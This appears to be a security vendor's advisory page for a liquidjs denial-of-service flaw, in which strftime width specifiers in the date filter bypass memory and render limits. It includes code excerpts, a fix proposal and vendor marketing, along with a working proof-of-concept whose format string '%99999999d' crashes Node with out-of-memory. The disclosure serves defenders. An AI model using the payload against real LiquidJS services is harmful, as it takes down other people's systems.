GHSA-hh27-hf48-9f5q is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in liquidjs. O3 Security confirms whether GHSA-hh27-hf48-9f5q is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
LiquidJS has a memory and render limit bypass via unbounded width padding in `date` filter (strftime)
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-hh27-hf48-9f5q.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-hh27-hf48-9f5q plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
liquidjsnpmDescription
Summary
The date filter's strftime implementation parses width specifiers like %9999999d and forwards the captured width unchecked into pad()/padStart() in src/util/underscore.ts. The pad loop performs unbounded string concatenation without consulting the Context's memoryLimit or renderLimit, so a single small template ({{ x | date: '%5000000d' }}) produces megabytes of output and unbounded CPU. The memoryLimit and renderLimit options the docs (src/liquid-options.ts:87-92) advertise as DoS controls — and which the docstring explicitly mentions for strftime — are entirely bypassed.
Details
date.ts:5-13 only charges memoryLimit for the lengths of the input value, format string, and timezone:
export function date (this: FilterImpl, v: string | Date, format?: string, timezoneOffset?: number | string) {
const size = ((v as string)?.length ?? 0) + (format?.length ?? 0) + ((timezoneOffset as string)?.length ?? 0)
this.context.memoryLimit.use(size)
...
return strftime(date, format)
}
strftime (src/util/strftime.ts:121) then walks the format with rFormat = /%([-_0^#:]+)?(\d+)?([EO])?(.)/. The captured width group is passed directly to padStart:
function format (d, match) {
const [input, flagStr = '', width, modifier, conversion] = match
...
let padWidth = width || padWidths[conversion] || 0
...
return padStart(ret, padWidth, padChar) // strftime.ts:147
}
padStart calls pad() in src/util/underscore.ts:153:
export function pad (str, length, ch, add) {
str = String(str)
let n = length - str.length
while (n-- > 0) str = add(str, ch) // unbounded loop
return str
}
The loop has no upper bound and never consults this.context.memoryLimit or renderLimit. The pad is also implemented as repeated ch + str string concatenation, which makes the per-byte cost grow with output length and amplifies CPU consumption.
Filter arguments accept context-evaluated values (src/template/filter.ts:30-31, evalToken(arg, context)), so any deployment that passes a context value as the date format — a documented and tested usage pattern — exposes the sink to attacker-controlled input.
This is a separate sink from the previously-reported quadratic replace finding: a different filter (date), a different parser (the strftime width regex), and a different concatenation site (pad() in underscore.ts).
PoC
Setup: npm install [email protected].
Step 1 — bypass memoryLimit and renderLimit (5 MB output, ~200 ms, both limits set to 50):
node -e "
const { Liquid } = require('liquidjs');
const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });
const t0 = Date.now();
const out = liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%5000000d' });
console.log('len=', out.length, 'ms=', Date.now()-t0);
"
Verified output: len= 5000000 ms= 198. The memoryLimit:50 (50-byte budget) and renderLimit:50 (50 ms budget) are both ignored.
Step 2 — OOM-kill the Node process under a 200 MB heap cap:
node --max-old-space-size=200 -e "
const { Liquid } = require('liquidjs');
const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });
liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%99999999d' });
"
Verified output: FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory. Process is killed.
The realistic attack template is {{ post.created_at | date: user_supplied_format }}, where user_supplied_format is any context value an attacker can influence (profile field, query param mapped into template context, etc.).
Impact
- DoS against any LiquidJS-rendered surface where a context value reaches the
datefilter's format argument: a single render call can be turned into multi-MB allocations and seconds of CPU per request, or into an OOM that crashes the host process. - Bypass of the engine's two documented DoS controls —
memoryLimitandrenderLimit— meaning that operators who explicitly opted into DoS protection still have no defense for this code path. - All
date_to_xmlschema,date_to_rfc822,date_to_string,date_to_long_stringpaths share the same sink viastrftime, but with hard-coded formats they're not directly attacker-controllable; the user-facing risk is ondate.
Recommended Fix
Two complementary fixes:
- Have
pad()insrc/util/underscore.tscharge the Context's memory limit and useString.prototype.repeatinstead of an O(n) concatenation loop. Sincepad()is generic, the simplest version takes the memory limit as a parameter:
export function pad (str: any, length: number, ch: string, add: (str: string, ch: string) => string) {
str = String(str)
const n = length - str.length
if (n <= 0) return str
return add === ((s, c) => c + s)
? ch.repeat(n) + str
: str + ch.repeat(n)
}
- Cap
padWidthinsrc/util/strftime.ts:141and account for it viamemoryLimit. Thedatefilter (src/filters/date.ts) should also chargethis.context.memoryLimit.use(parsedMaxWidth)before invokingstrftime, e.g. by scanning the format for%(\d+)widths and summing them. A conservative cap (e.g.Math.min(width, 1024)for non-Nconversions) is also reasonable — strftime widths beyond a few dozen characters have no legitimate use.
Both fixes are needed: the cap stops the OOM crash, the memory accounting restores the documented DoS guarantee.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | liquidjs | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for liquidjs. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of liquidjs has shipped for GHSA-hh27-hf48-9f5q yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-hh27-hf48-9f5q is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-hh27-hf48-9f5q. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-hh27-hf48-9f5q in your dependencies?
O3 detects GHSA-hh27-hf48-9f5q across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.